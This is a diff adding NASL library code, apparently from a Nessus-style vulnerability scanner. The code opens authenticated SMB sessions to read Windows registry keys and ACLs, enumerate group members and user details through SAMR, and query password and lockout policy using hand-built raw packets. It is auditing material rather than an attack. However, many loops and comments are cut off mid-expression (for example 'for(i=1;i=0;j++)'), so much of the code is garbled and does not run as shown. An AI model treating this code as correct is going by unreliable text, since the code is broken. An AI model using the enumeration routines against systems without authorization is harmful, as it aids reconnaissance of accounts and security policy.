+ local_var ret, handle, domains, sid, handle2, rid, ghandle, members; + + ret = NULL; + + handle = SamConnect2 (); + if (!isnull(handle)) + { + domains = SamEnumerateDomainsInSamServer (handle:handle); + if (!isnull(domains)) + { + sid = SamLookupDomainInSamServer (handle:handle, domain:domains[0]); + if (!isnull(sid)) + { + handle2 = SamOpenDomain (handle:handle, sid:sid, access:0x200); + if (!isnull (handle2)) + { + rid = SamLookupNamesInDomain (handle:handle2, user:group); + if (!isnull(rid)) + { + ghandle = SamOpenGroup (handle:handle2, rid:rid, access:0x10); + if (!isnull(ghandle)) + { + members = SamGetMembersInGroup (handle:ghandle); + if (!isnull(members)) + { + ret = SamLookupIdsInDomain (handle:handle2, ids:members); + } + + SamCloseHandle(handle:ghandle); + } + } + } + + SamCloseHandle(handle:handle2); + } + } + + SamCloseHandle(handle:handle); + } + + return ret; +} + + +#---------------------------------------------------------# +# Function : NetUserGetInfo # +# Description : Return user's info # +#---------------------------------------------------------# + +function NetUserGetInfo (user) +{ + local_var ret, handle, domains, sid, handle2, rid, uhandle; + + ret = NULL; + + handle = SamConnect2 (); + if (!isnull(handle)) + { + domains = SamEnumerateDomainsInSamServer (handle:handle); + if (!isnull(domains)) + { + sid = SamLookupDomainInSamServer (handle:handle, domain:domains[0]); + if (!isnull(sid)) + { + handle2 = SamOpenDomain (handle:handle, sid:sid, access:0x200); + if (!isnull (handle2)) + { + rid = SamLookupNamesInDomain (handle:handle2, user:user); + if (!isnull(rid)) + { + uhandle = SamOpenUser (handle:handle2, rid:rid, access:0x11b); + if (!isnull(uhandle)) + { + ret = SamQueryInformationUser (handle:uhandle); + SamCloseHandle(handle:uhandle); + } + } + } + + SamCloseHandle(handle:handle2); + } + } + + SamCloseHandle(handle:handle); + } + + return ret; +} + + +#---------------------------------------------------------# +# Function : NetUserGetModals # +# Description : Return password policy # +# Return : if level == 1 # +# ret[0] = min pass len # +# ret[1] = pass history len # +# ret[2] = max pass age # +# ret[3] = min pass age # +# ret[4] = force logoff # +# ret[5] = must meet complexity # +# if level == 3 # +# ret[0] = lockout duration # +# ret[1] = lockout observation window # +# ret[2] = lockout treshold # +# Note : time in seconds (-1 if infinite) # +#---------------------------------------------------------# + +function NetUserGetModals (level) +{ + local_var ret, handle, domains, sid, handle2, rid, uhandle, tmp; + + ret = NULL; + + handle = SamConnect2 (); + if (!isnull(handle)) + { + domains = SamEnumerateDomainsInSamServer (handle:handle); + if (!isnull(domains)) + { + sid = SamLookupDomainInSamServer (handle:handle, domain:domains[0]); + if (!isnull(sid)) + { + handle2 = SamOpenDomain (handle:handle, sid:sid, access:0x205); + if (!isnull (handle2)) + { + if (level == 1) + { + ret = SamQueryInformationDomain (handle:handle2, level:1); + if (!isnull (ret)) + { + tmp = SamQueryInformationDomain (handle:handle2, level:3); + if (!isnull(tmp)) + ret[max_index(ret)] = tmp[0]; + } + } + else if (level == 3) + { + ret = SamQueryInformationDomain (handle:handle2, level:12); + } + } + + SamCloseHandle(handle:handle2); + } + } + + SamCloseHandle(handle:handle); + } + + return ret; +} + diff --git a/content/WinVA/plugins/smb_nt.inc b/content/WinVA/plugins/smb_nt.inc new file mode 100644 index 0000000..9846e13 --- /dev/null +++ b/content/WinVA/plugins/smb_nt.inc @@ -0,0 +1,3511 @@ +# -*- Fundamental -*- +# +# (C) Tenable Network Security +# +# smb_nt.inc +# $Revision: 1.84 $ +# + +include ('crypto_func.inc'); + +global_var multiplex_id, g_mhi, g_mlo; + +multiplex_id = rand(); +g_mhi = multiplex_id / 256; +g_mlo = multiplex_id % 256; + +function raw_byte (b) +{ + return raw_string (b); +} + +function raw_dword (d) +{ + return raw_string ( (d) & 255, + (d>>8) & 255, + (d>>16) & 255, + (d>>24) & 255 ); +} + + +function get_dword (blob, pos) +{ + if (pos > (strlen (blob) - 4)) + return NULL; + + return ( ord(blob[pos]) + + (ord(blob[pos+1]) << 8) + + (ord(blob[pos+2]) << 16) + + (ord(blob[pos+3]) << 24) ); +} + + + + +function kb_smb_name() +{ + return string(get_kb_item("SMB/name")); +} + +function kb_smb_domain() +{ + return string(get_kb_item("SMB/domain")); +} + +function kb_smb_login() +{ + return string(get_kb_item("SMB/login")); +} + +function kb_smb_password() +{ + return string(get_kb_item("SMB/password")); +} + +function kb_smb_transport() +{ + local_var r; + r = get_kb_item("SMB/transport"); + if ( r ) return int(r); + else return 445; +} + + +#-----------------------------------------------------------------# +# Reads a SMB packet # +#-----------------------------------------------------------------# +function smb_recv(socket, length) +{ + local_var header, len, trailer; + + header = recv(socket:socket, length:4, min:4); + if (strlen(header) < 4)return(NULL); + len = 256 * ord(header[2]); + len += ord(header[3]); + if (len == 0)return(header); + trailer = recv(socket:socket, length:len, min:len); + if(strlen(trailer) < len )return(NULL); + return strcat(header, trailer); +} + +#-----------------------------------------------------------------# +# Encode name and service to the netbios network format # +#-----------------------------------------------------------------# +function netbios_encode(data,service) +{ + local_var tmpdata, ret; + + ret = ""; + tmpdata = data; + + while (strlen(tmpdata) < 15) + { + tmpdata += " "; + } + + tmpdata += raw_string(service); + + for(i=0;i<16;i=i+1) + { + o = ord(tmpdata[i]); + odiv = o/16; + odiv = odiv + ord("A"); + omod = o%16; + omod = omod + ord("A"); + c = raw_string(odiv, omod); + + ret = ret+c; + } + + return(ret); +} + +#-----------------------------------------------------------------# +# Convert a netbios name to the netbios network format # +#-----------------------------------------------------------------# +function netbios_name(orig) +{ + return netbios_encode(data:orig, service:0x20); +} + +#--------------------------------------------------------------# +# Returns the netbios name of a redirector # +#--------------------------------------------------------------# + +function netbios_redirector_name() +{ + ret = crap(data:"CA", length:30); + ret = ret+"AA"; + return(ret); +} + +#-------------------------------------------------------------# +# return a 28 + strlen(data) + (odd(data)?0:1) long string # +#-------------------------------------------------------------# +function unicode(data) +{ + len = strlen(data); + ret = raw_string(ord(data[0])); + + for(i=1;i=0;j++) + { + req = raw_string(0x00, 0x00, 0x00, 0xa8, 0xFF, 0x53, + 0x4D, 0x42, 0x25, 0x00, 0x00, 0x00, 0x00, 0x08, + 0x01, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, tid_low, tid_high, + 0x00, 0x28, uid_low, uid_high, g_mlo, g_mhi, 0x10, 0x00, + 0x00, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x4c, 0x00, 0x5c, 0x00, 0x4c, + 0x00, 0x02, 0x00, 0x26, 0x00, pipe_low, pipe_high, 0x65, + 0x00, 0x5c, 0x50, 0x49, 0x50, 0x45, 0x5c, 0x00, + 0x00, 0x00, 0x05, 0x00, 0x00, 0x03, 0x10, 0x00, + 0x00, 0x00, 0x5c, 0x00, 0x00, 0x00, 0xff, 0x00, + 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x09, 0x00); + + + + req2= magic + raw_string( + j % 256, j / 256, 0x00, 0x00, # key ID + 0x00, 0x00, # key name len + 0x14, 0x04, # unknown + 0x01, 0x00, 0x00, 0x00, # ptr + 0x0a, 0x02, 0x00, 0x00, # unknown_2 + 0x00, 0x00, 0x00, 0x00, # padding + 0x00, 0x00, 0x00, 0x00, # padding + 0x01, 0x00, 0x00, 0x00, # ptr2 + 0x00, 0x00, 0x00, 0x00, # padding2 + 0x00, 0x00, 0x00, 0x00, # padding2 + 0x01, 0x00, 0x00, 0x00, # ptr3 + 0xff, 0xff, 0xff, 0xff, # smb_io_time low + 0xff, 0xff, 0xff, 0x7f # smb_io_time high + ); + + + req += req2; + send(socket:soc, data:req); + r = smb_recv(socket:soc, length:65535); + if(strlen(r) < 80)return(NULL); + + len = ord(r[60+24+16]); + if (!len) + break; + + name = ""; + for (i=0;i=0;j++) + { + req = raw_string(0x00, 0x00, + 0x00, 0xC0, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00, + 0x00, 0x00, 0x00, 0x18, 0x03, 0x80, 0x00, 0x83, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high, + g_mlo, g_mhi, 0x10, 0x00, 0x00, 0x6C, 0x00, 0x00, + 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, + 0x00, 0x6C, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26, + 0x00, pipe_low, pipe_high, 0x59, 0x00, 0x00, 0x5C, 0x00, + 0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00, + 0x5C, 0x00, 0x00, 0x00, 0xEE, 0xD5, 0x05, 0x00, + 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x6C, 0x00, + 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x30, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x0A, 0x00); + + req = req + magic + raw_string( + j % 256, j / 256, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, + 0xcc, 0xf9, 0x06, 0x00, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa0, 0xf9, 0x06, 0x00, 0x59, 0xe6, 0x07, 0x00, + 0x00, 0xc4, 0x04, 0x01, 0x00, 0x80, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb0, 0xf9, 0x06, 0x00, 0x00, 0x80, 0x00, 0x00, + 0x94, 0xf9, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00); + + + send(socket:soc, data:req); + r = smb_recv(socket:soc, length:65535); + if(strlen(r) < 80)return(NULL); + + len = ord(r[60+24]); + if (!len) + break; + + name = ""; + for (i=0;i exists # +#---------------------------------------------------------------------# +function registry_key_exists(key) +{ + local_var name, domain, _smb_port, login, pass, soc, r, uid, tid, pipe, ret, prot; + local_var magic, flag, i; + +name = kb_smb_name(); +if(!name)exit(0); + + +domain = kb_smb_domain(); +_smb_port = kb_smb_transport(); +if(!_smb_port)exit(0); + + +if(!get_port_state(_smb_port))return(FALSE); + +login = kb_smb_login(); +pass = kb_smb_password(); + +if(!login)login = ""; +if(!pass) pass = ""; + + +soc = open_sock_tcp(_smb_port); +if ( ! soc ) return NULL; + +# +# Request the session +# +r = smb_session_request(soc:soc, remote:name); +if(!r)return(FALSE); + +# +# Negociate the protocol +# +prot = smb_neg_prot(soc:soc); +if(!prot)return(FALSE); + + +# +# Set up our session +# +r = smb_session_setup(soc:soc, login:login, password:pass, domain:domain, prot:prot); +if(!r)return(FALSE); +# and extract our uid +uid = session_extract_uid(reply:r); + + +# +# Connect to the remote IPC and extract the TID +# we are attributed +# +r = smb_tconx(soc:soc, name:name, uid:uid, share:"IPC$"); +# and extract our tree id +tid = tconx_extract_tid(reply:r); +if(!tid)return(NULL); + +# +# Create a pipe to \winreg +# +r = smbntcreatex(soc:soc, uid:uid, tid:tid, name:"\winreg"); +if(!r)return(NULL); +# and extract its ID +pipe = smbntcreatex_extract_pipe(reply:r); + +# +# Setup things +# + + + +r = pipe_accessible_registry(soc:soc, uid:uid, tid:tid, pipe:pipe); +if(!r)return(FALSE); +r = registry_open_hklm(soc:soc, uid:uid, tid:tid, pipe:pipe); +r2 = registry_get_key(soc:soc, uid:uid, tid:tid, pipe:pipe, key:key, reply:r); +close(soc); +registry_close(soc:soc, uid:uid, tid:tid, pipe:pipe, reply:r2); +registry_close(soc:soc, uid:uid, tid:tid, pipe:pipe, reply:r); +if ( ! r2 && strlen(r2) < 104) return NULL; +flag = 0; +for(i=1;i<20;i=i+1) + { + if ( ord(r2[84+i]) != 0 ) flag = 1; + } + +if ( flag ) return TRUE; +else return NULL; + +} + +#---------------------------------------------------------------------# +# returns 'TRUE' if is writeable # +#---------------------------------------------------------------------# + + +function registry_get_acl(key) +{ + local_var name, domain, _smb_port, login, pass, soc, r, uid, tid, pipe, ret, prot; + +name = kb_smb_name(); +if(!name)exit(0); + + +domain = kb_smb_domain(); +_smb_port = kb_smb_transport(); +if(!_smb_port)exit(0); + + +if(!get_port_state(_smb_port))return(FALSE); + +login = kb_smb_login(); +pass = kb_smb_password(); + +if(!login)login = ""; +if(!pass) pass = ""; + + +soc = open_sock_tcp(_smb_port); +if ( ! soc ) return NULL; + +# +# Request the session +# +r = smb_session_request(soc:soc, remote:name); +if(!r)return(FALSE); + +# +# Negociate the protocol +# +prot = smb_neg_prot(soc:soc); +if(!prot)return(FALSE); + + +# +# Set up our session +# +r = smb_session_setup(soc:soc, login:login, password:pass, domain:domain, prot:prot); +if(!r)return(FALSE); +# and extract our uid +uid = session_extract_uid(reply:r); + + +# +# Connect to the remote IPC and extract the TID +# we are attributed +# +r = smb_tconx(soc:soc, name:name, uid:uid, share:"IPC$"); +# and extract our tree id +tid = tconx_extract_tid(reply:r); +if(!tid)return(NULL); + +# +# Create a pipe to \winreg +# +r = smbntcreatex(soc:soc, uid:uid, tid:tid, name:"\winreg"); +if(!r)return(NULL); +# and extract its ID +pipe = smbntcreatex_extract_pipe(reply:r); + +# +# Setup things +# + + + +r = pipe_accessible_registry(soc:soc, uid:uid, tid:tid, pipe:pipe); +if(!r)return(FALSE); +r = registry_open_hklm(soc:soc, uid:uid, tid:tid, pipe:pipe); +if(strlen(key)) + r2 = registry_get_key(soc:soc, uid:uid, tid:tid, pipe:pipe, key:key, reply:r); +else + r2 = r; + + +if(r2) + { + r3 = registry_get_key_security(soc:soc, uid:uid, tid:tid, pipe:pipe, reply:r2); + registry_close(soc:soc, uid:uid, tid:tid, pipe:pipe, reply:r2); + if ( strlen(key) ) registry_close(soc:soc, uid:uid, tid:tid, pipe:pipe, reply:r); + close(soc); + + if(strlen(r3) < 100)return(NULL); + return(r3); + } +return(NULL); +} + +#---------------------------------------------------------------------# +# Get an item of type reg_sz from the key # +#---------------------------------------------------------------------# + +function unicode2(data) +{ + len = strlen(data); + ret = raw_string(0, ord(data[0])); + + for(i=1;i0;i=i-1) + { + t *= 256; + t += ord(data[index+i-1]); + } + + return(t); +} + + +#---------------------------------------------------------------------# +# registry_get_dword() # +#---------------------------------------------------------------------# + + +function registry_get_dword(key, item) +{ + local_var name, port, login, pass, soc, dom, r, prot, value; + + if ( get_kb_item("SMB/samba") ) exit(0); + + port = kb_smb_transport(); + if(!port)exit(0); + + name = kb_smb_name(); + if(!name)exit(0); + + + if(!get_port_state(port))return(FALSE); + + login = kb_smb_login(); + pass = kb_smb_password(); + +if(!login)login = ""; +if(!pass) pass = ""; + + dom = kb_smb_domain(); + + soc = open_sock_tcp(port); + if(!soc)exit(0); + + # + # Request the session + # + r = smb_session_request(soc:soc, remote:name); + if(!r){ close(soc); return NULL;} + + # + # Negociate the protocol + # + prot = smb_neg_prot(soc:soc); + if(!prot) { close(soc); return NULL;} + + + # + # Set up our session + # + r = smb_session_setup(soc:soc, login:login, password:pass, domain:dom, prot:prot); + if(!r){ close(soc); return NULL;} + # and extract our uid + uid = session_extract_uid(reply:r); + + # + # Connect to the remote IPC and extract the TID + # we are attributed + # + r = smb_tconx(soc:soc, name:name, uid:uid, share:"IPC$"); + # and extract our tree id + tid = tconx_extract_tid(reply:r); + + + # + # Create a pipe to \winreg + # + r = smbntcreatex(soc:soc, uid:uid, tid:tid, name:"\winreg"); + if(!r){ close(soc); return(NULL); } + # and extract its ID + pipe = smbntcreatex_extract_pipe(reply:r); + + # + # Setup things + # + r = pipe_accessible_registry(soc:soc, uid:uid, tid:tid, pipe:pipe); + if(!r){ close(soc); return(NULL); } + r = registry_open_hklm(soc:soc, uid:uid, tid:tid, pipe:pipe); + + r2 = registry_get_key(soc:soc, uid:uid, tid:tid, pipe:pipe, key:key, reply:r); + if(r2) + { + r3 = registry_get_item_dword(soc:soc, uid:uid, tid:tid, pipe:pipe, item:item, reply:r2); + registry_close(soc:soc, uid:uid, tid:tid, pipe:pipe, reply:r2); + registry_close(soc:soc, uid:uid, tid:tid, pipe:pipe, reply:r); + value = registry_decode_dword(data:r3); + close(soc); + return(value); + } + close(soc); + return NULL; +} + +#---------------------------------------------------------------------# +# registry_get_binary() # +#---------------------------------------------------------------------# +function registry_get_binary(key, item) +{ + local_var name, _smb_port, login, pass, domain, soc, uid, tid, r, prot, pipe; + +if ( get_kb_item("SMB/samba") ) exit(0); + +name = kb_smb_name(); +if(!name)exit(0); + +_smb_port = kb_smb_transport(); +if(!_smb_port)exit(0); + +if(!get_port_state(_smb_port))return(FALSE); + +login = kb_smb_login(); +pass = kb_smb_password(); + +domain = kb_smb_domain(); + +if(!login)login = ""; +if(!pass) pass = ""; + + +soc = open_sock_tcp(_smb_port); +if(!soc)return(FALSE); + +# +# Request the session +# +r = smb_session_request(soc:soc, remote:name); +if(!r) { close(soc); return(FALSE); } + +# +# Negociate the protocol +# +prot = smb_neg_prot(soc:soc); +if(!prot){ close(soc); return(FALSE); } + + +# +# Set up our session +# +r = smb_session_setup(soc:soc, login:login, password:pass, domain:domain, prot:prot); +if(!r){ close(soc); return(FALSE); } +# and extract our uid +uid = session_extract_uid(reply:r); + +# +# Connect to the remote IPC and extract the TID +# we are attributed +# +r = smb_tconx(soc:soc, name:name, uid:uid, share:"IPC$"); +# and extract our tree id +tid = tconx_extract_tid(reply:r); +if(!tid){ close(soc); return(FALSE); } + +# +# Create a pipe to \winreg +# +r = smbntcreatex(soc:soc, uid:uid, tid:tid, name:"\winreg"); +if(!r){ close(soc); return(FALSE);} +# and extract its ID +pipe = smbntcreatex_extract_pipe(reply:r); + +# +# Setup things +# +r = pipe_accessible_registry(soc:soc, uid:uid, tid:tid, pipe:pipe); +if(!r){ close(soc); return(FALSE); } +r = registry_open_hklm(soc:soc, uid:uid, tid:tid, pipe:pipe); + +r2 = registry_get_key(soc:soc, uid:uid, tid:tid, pipe:pipe, key:key, reply:r); +if(r2) +{ + r3 = registry_get_item_sz(soc:soc, uid:uid, tid:tid, pipe:pipe, item:item, reply:r2); + registry_close(soc:soc, uid:uid, tid:tid, pipe:pipe, reply:r2); + registry_close(soc:soc, uid:uid, tid:tid, pipe:pipe, reply:r); + value = registry_decode_binary(data:r3); + close(soc); + return(value); +} +close(soc); +return(FALSE); +} + +#---------------------------------------------------------------------# +# registry_get_sz() # +#---------------------------------------------------------------------# + + +function registry_get_sz(key, item) +{ + local_var name, _smb_port, login, pass, domain, soc, uid, tid, r, prot, pipe; + +if ( get_kb_item("SMB/samba") ) exit(0); + +name = kb_smb_name(); +if(!name)exit(0); + +_smb_port = kb_smb_transport(); +if(!_smb_port)exit(0); + +if(!get_port_state(_smb_port))return(FALSE); + +login = kb_smb_login(); +pass = kb_smb_password(); + +domain = kb_smb_domain(); + +if(!login)login = ""; +if(!pass) pass = ""; + + +soc = open_sock_tcp(_smb_port); +if(!soc)return(FALSE); + +# +# Request the session +# +r = smb_session_request(soc:soc, remote:name); +if(!r) { close(soc); return(FALSE); } + +# +# Negociate the protocol +# +prot = smb_neg_prot(soc:soc); +if(!prot){ close(soc); return(FALSE); } + + +# +# Set up our session +# +r = smb_session_setup(soc:soc, login:login, password:pass, domain:domain, prot:prot); +if(!r){ close(soc); return(FALSE); } +# and extract our uid +uid = session_extract_uid(reply:r); + +# +# Connect to the remote IPC and extract the TID +# we are attributed +# +r = smb_tconx(soc:soc, name:name, uid:uid, share:"IPC$"); +# and extract our tree id +tid = tconx_extract_tid(reply:r); +if(!tid){ close(soc); return(FALSE); } + +# +# Create a pipe to \winreg +# +r = smbntcreatex(soc:soc, uid:uid, tid:tid, name:"\winreg"); +if(!r){ close(soc); return(FALSE);} +# and extract its ID +pipe = smbntcreatex_extract_pipe(reply:r); + +# +# Setup things +# +r = pipe_accessible_registry(soc:soc, uid:uid, tid:tid, pipe:pipe); +if(!r){ close(soc); return(FALSE); } +r = registry_open_hklm(soc:soc, uid:uid, tid:tid, pipe:pipe); + +r2 = registry_get_key(soc:soc, uid:uid, tid:tid, pipe:pipe, key:key, reply:r); +if(r2) +{ + r3 = registry_get_item_sz(soc:soc, uid:uid, tid:tid, pipe:pipe, item:item, reply:r2); + registry_close(soc:soc, uid:uid, tid:tid, pipe:pipe, reply:r2); + registry_close(soc:soc, uid:uid, tid:tid, pipe:pipe, reply:r); + value = registry_decode_sz(data:r3); + close(soc); + return(value); +} +close(soc); +return(FALSE); +} + +#---------------------------------------------------------------------------# +# SAM related functions # +#---------------------------------------------------------------------------# + +#------------------------------------------------------# +# Open a pipe to \samr # +#------------------------------------------------------# +function OpenPipeToSamr(soc, uid, tid) +{ + tid_hi = tid / 256; + tid_lo = tid % 256; + + uid_hi = uid / 256; + uid_lo = uid % 256; + + + req = raw_string(0x00, 0x00, + 0x00, 0x60, 0xFF, 0x53, 0x4D, 0x42, 0xA2, 0x00, + 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, tid_lo, tid_hi, 0x00, 0x28, uid_lo, uid_hi, + g_mlo, g_mhi, 0x18, 0xFF, 0x00, 0xDE, 0xDE, 0x00, + 0x0A, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x9F, 0x01, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x02, 0x00, + 0x00, 0x00, 0x03, 0x0D, 0x00, 0x00, 0x5C, 0x00, + 0x73, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x72, 0x00, + 0x00, 0x00); + + + send(socket:soc, data:req); + r = smb_recv(socket:soc, length:4096); + if(strlen(r) < 42) return(FALSE); + else { + low = ord(r[42]); + hi = ord(r[43]); + ret = hi * 256; + ret = ret + low; + return(ret); + } +} + +function samr_smbwritex(soc, tid, uid, pipe) +{ + tid_hi = tid / 256; + tid_lo = tid % 256; + + uid_hi = uid / 256; + uid_lo = uid % 256; + + pipe_hi = pipe / 256; + pipe_lo = pipe % 256; + + req = raw_string(0x00, 0x00, + 0x00, 0x88, 0xFF, 0x53, 0x4D, 0x42, 0x2F, 0x00, + 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, tid_lo, tid_hi, 0x00, 0x28, uid_lo, uid_hi, + g_mlo, g_mhi, 0x0E, 0xFF, 0x00, 0xDE, 0xDE, pipe_lo, + pipe_hi, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, + 0xFF, 0x08, 0x00, 0x48, 0x00, 0x00, 0x00, 0x48, + 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, + 0x00, 0xEE, 0x05, 0x00, 0x0B, 0x03, 0x10, 0x00, + 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x00, 0x00, 0xB8, 0x10, 0xB8, 0x10, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x78, 0x57, 0x34, 0x12, 0x34, 0x12, + 0xCD, 0xAB, 0xEF, 0x00, 0x01, 0x23, 0x45, 0x67, + 0x89, 0xAC, 0x01, 0x00, 0x00, 0x00, 0x04, 0x5D, + 0x88, 0x8A, 0xEB, 0x1C, 0xC9, 0x11, 0x9F, 0xE8, + 0x08, 0x00, 0x2B, 0x10, 0x48, 0x60, 0x02, 0x00, + 0x00, 0x00); + + send(socket:soc, data:req); + r = smb_recv(socket:soc, length:4096); +} + + +function samr_smbreadx(soc, tid, uid, pipe) +{ + tid_hi = tid / 256; + tid_lo = tid % 256; + uid_hi = uid / 256; + uid_lo = uid % 256; + pipe_hi = pipe / 256; + pipe_lo = pipe % 256; + req = raw_string(0x00, 0x00, + 0x00, 0x3B, 0xFF, 0x53, 0x4D, 0x42, 0x2E, 0x00, + 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, tid_lo, tid_hi, 0x00, 0x28, uid_lo, uid_hi, + g_mlo, g_mhi, 0x0C, 0xFF, 0x00, 0xDE, 0xDE, pipe_lo, + pipe_hi, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, + 0x04, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x04, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00); + + send(socket:soc, data:req); + r = smb_recv(socket:soc, length:4096); + +} + +#------------------------------------------------------# +# Returns the unicode representation of # +#------------------------------------------------------# +function samr_uc(name) +{ + ret = ""; + for(i=0;i", strlen(r), "\n"); + # + # We return a handle to the remote SAM + # + + samrhdl = ""; + _len = strlen(r); + if(_len < 24) + return(FALSE); + + _len = _len - 24; + for(i=0;i<20;i=i+1) + { + samrhdl = samrhdl + raw_string(ord(r[i+_len])); + #display(hex(ord(r[i+_len])), " "); + } + #display("\n"); + #display("samhdl : ", strlen(samrhdl), "\n"); + return(samrhdl); +} + + +#--------------------------------------------------------------# +# This function is probably SamrEnumerateDomainsInSamServer() # +# but I'm not sure of that, so I changed its name to # +# _SamrEnumDomains() # +# # +# This function only returns the first domain it obtains # +#--------------------------------------------------------------# +function _SamrEnumDomains(soc, uid, tid, pipe, samrhdl) +{ + tid_hi = tid / 256; + tid_lo = tid % 256; + uid_hi = uid / 256; + uid_lo = uid % 256; + + pipe_hi = pipe / 256; + pipe_lo = pipe % 256; + + req = raw_string(0x00, 0x00, + 0x00, 0x88, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00, + 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, tid_lo, tid_hi, 0x00, 0x28, uid_lo, uid_hi, + g_mlo, g_mhi, 0x10, 0x00, 0x00, 0x34, 0x00, 0x00, + 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, + 0x00, 0x34, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26, + 0x00, pipe_lo, pipe_hi, 0x45, 0x00, 0x00, 0x5C, 0x00, + 0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00, + 0x5C, 0x00, 0x00, 0x00, 0xAF, 0x47, 0x05, 0x00, + 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x34, 0x00, + 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x1C, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x06, 0x00) + samrhdl + + raw_string(0x00, 0x00, 0x00, 0x00, 0x00, 0x20, + 0x00, 0x00); + + send(socket:soc, data:req); + r = smb_recv(socket:soc, length:4096); + if(strlen(r) < 137)return(FALSE); + + len_lo = ord(r[136]); + len_hi = ord(r[137]); + + len = len_hi * 256; + len = len + len_lo; + dom = ""; + len = len*2; + maxlen = strlen(r); + if(maxlen < len)return(FALSE); + for(i=0;i # +#------------------------------------------------------# + +function SamrDom2Sid(soc, tid, uid, pipe, samrhdl, dom) +{ + tid_hi = tid / 256; + tid_lo = tid % 256; + uid_hi = uid / 256; + uid_lo = uid % 256; + + pipe_hi = pipe / 256; + pipe_lo = pipe % 256; + + #display(strlen(dom), "<-dom\n"); + tot_len = 148 + strlen(dom); + tot_len_hi = tot_len / 256; + tot_len_lo = tot_len % 256; + + bcc = 81 + strlen(dom); + bcc_lo = bcc % 256; + bcc_hi = bcc / 256; + + tot_dat_count = 64 + strlen(dom); + tot_dat_count_lo = tot_dat_count % 256; + tot_dat_count_hi = tot_dat_count / 256; + + dom_len = strlen(dom); + dom_len = dom_len / 2; + dom_len_lo = dom_len % 256; + dom_len_hi = dom_len / 256; + + dom_t_len = dom_len + 1; + dom_t_len_lo = dom_t_len % 256; + dom_t_len_hi = dom_t_len / 256; + + dom_m_len = dom_len * 2; + dom_m_len_lo = dom_m_len % 256; + dom_m_len_hi = dom_m_len / 256; + + dom_mm_len = dom_m_len + 2; + dom_mm_len_lo = dom_mm_len % 256; + dom_mm_len_hi = dom_mm_len / 256; + + + req = raw_string(0x00, 0x00, + tot_len_hi, tot_len_lo, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00, + 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, tid_lo, tid_hi, 0x00, 0x28, uid_lo, uid_hi, + g_mlo, g_mhi, 0x10, 0x00, 0x00, tot_dat_count_lo, tot_dat_count_hi, 0x00, + 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, + 0x00, tot_dat_count_lo, tot_dat_count_hi, 0x54, 0x00, 0x02, 0x00, 0x26, + 0x00, pipe_lo, pipe_hi, bcc_lo, bcc_hi, 0x00, 0x5C, 0x00, + 0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00, + 0x5C, 0x00, 0x00, 0x00, 0xAF, 0x47, 0x05, 0x00, + 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, tot_dat_count_lo, tot_dat_count_hi, + 0x00, 